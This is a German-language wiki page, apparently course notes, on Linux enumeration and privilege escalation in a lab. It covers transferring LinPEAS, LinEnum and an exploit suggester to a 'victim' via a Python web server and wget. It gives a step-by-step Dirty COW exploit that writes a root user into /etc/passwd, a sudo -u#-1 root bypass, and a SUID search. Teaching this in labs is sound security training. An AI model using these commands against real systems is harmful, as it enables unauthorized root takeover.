> For the complete documentation index, see [llms.txt](https://n4shx.gitbook.io/wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n4shx.gitbook.io/wiki/schule/mspl-2/enumeration.md).

# Enumeration

In der Enumeration-Phase werden möglichst viele Informationen über das Zielsystem gesammelt. Ziel ist es, Schwachstellen, Fehlkonfigurationen und mögliche Wege zur Rechteausweitung zu finden.

## System Enumeration

Bei der System Enumeration werden Informationen über Benutzer, Gruppen, Dienste, Kernel-Versionen, Berechtigungen, SUID-Binaries, Konfigurationen und weitere sicherheitsrelevante Details gesammelt.

Eine gute Idee ist, dafür ein eigenes Bash-Skript zu erstellen, um die wichtigsten Prüfungen schneller auszuführen.

Wichtig: Das Skript muss ausführbar gemacht werden.

```bash
#!/bin/bash

chmod +x meinscript.sh
./meinscript.sh
```

***

## Script via Python Webserver kopieren

Im Ordner, wo dein Script liegt:

```
cd /pfad/zu/deinem/script
python3 -m http.server 8000
```

👉 Ergebnis:

Server läuft auf Port 8000\
Zugriff über: http\://:8000

```
wget http://10.0.2.10:8000/linpeas.sh oder curl http://10.0.2.10:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

***

## LinEnum

Ein fertiges Enumeration-Skript.

👉 Problem: ist NICHT auf dem Opfer → du musst es bringen

#### Ablauf:

**Kali:**

```
python3 -m http.server 8000
```

**Opfer:**

```
wget http://<kali-ip>:8000/linenum.sh
chmod +x linenum.sh
./linenum.sh
```

👉 Ergebnis:

* viele Infos über System
* mögliche Schwachstellen Hinweise

***

## LinPEAS

Ähnlich wie LinEnum, aber stärker auf Privilege Escalation fokussiert.

#### Ablauf:

**Kali → Server läuft schon**

**Opfer:**

```
wget http://<kali-ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

👉 Das Tool zeigt dir oft direkt:

* mögliche Exploits
* SUID Probleme
* SUDO Issues

***

## Kernel Exploits

Jetzt nutzt du die Infos aus der Enumeration.

Ziel: passende Kernel Exploits finden.

***

### linux-exploit-suggester

👉 Wichtig:

* Auf Kali vorhanden
* muss aufs Opfer kopiert werden, wenn du es dort nutzen willst

#### Ablauf

**Kali:**

```
cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
python3 -m http.server 8000
```

***

**Opfer:**

```
wget http://<kali-ip>:8000/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh -k 2.6.24
```

👉 Ergebnis:

* zeigt mögliche Exploits (z.B. dirtycow)

***

### Dirty COW Exploit

Jetzt kommt der eigentliche Angriff.

#### Schritt 1: Ziel verstehen (Opfer)

```
uname -a
```

👉 Kernel z.B.:

```
2.6.24 → verwundbar
```

***

#### Schritt 2: Exploit suchen (Kali)

```
searchsploit 2.6.24
searchsploit dirty cow
searchsploit -p 40839
```

👉 Du findest:

* Exploit 40839.c

***

#### Schritt 3: Exploit auf Opfer bringen

**Kali:**

```
searchsploit -m 40839
python3 -m http.server 8000
```

***

**Opfer:**

```
wget http://<kali-ip>:8000/40839.c
```

***

#### Schritt 4: Exploit ausführen (Opfer!)

```
gcc -pthread 40839.c -o cow -lcrypt
./cow
```

👉 Exploit:

* manipuliert `/etc/passwd`
* erstellt neuen root user

***

#### Schritt 5: Root werden

```
su firefart
```

👉 jetzt root

***

#### Schritt 6: Cleanup (wichtig im Lab)

```
mv /tmp/passwd.bak /etc/passwd
```

***

## SUDO Exploit

Wenn SUDO falsch konfiguriert ist:

```
sudo -l
sudo -u#-1 /bin/bash
```

👉 direkt root möglich

***

## SUID Exploiting

SUID Files suchen:

```
find / -perm -u=s -type f 2>/dev/null
```

Dann:

👉 auf **gtfobins.github.io** schauen, ob exploit möglich
